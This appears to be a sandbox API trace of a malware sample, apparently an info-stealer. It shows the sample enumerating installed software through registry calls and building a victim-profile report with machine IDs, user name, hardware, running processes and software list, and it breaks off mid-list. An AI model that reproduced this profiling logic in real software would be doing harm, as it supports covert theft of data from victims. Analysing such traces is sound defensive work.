[0054.979] RegEnumKeyExA (in: hKey=0x508, dwIndex=0x39, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.979] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned 90
[0054.979] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.979] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501", lpcbData=0x1816c0*=0x3d) returned 0x0
[0054.979] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 [11.0.61030.0]\n", lpString2="Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501"
[0054.979] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="12.0.30501.0", lpcbData=0x1816c0*=0xd) returned 0x0
[0054.979] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared MUI (English) 2016 [16.0.4266.1001]\nMicrosoft DCF MUI (English) 2016 [16.0.4266.1001]\nMicrosoft OneNote MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Groove MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office OSM UX MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Shared Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Access Setup Metadata MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Skype for Business MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 [9.0.30729.6161]\nMicrosoft Visual C++ 2012 x86 Additional Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 x86 Minimum Runtime - 11.0.61030 [11.0.61030]\nMicrosoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x86) - 12.0.30501", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- 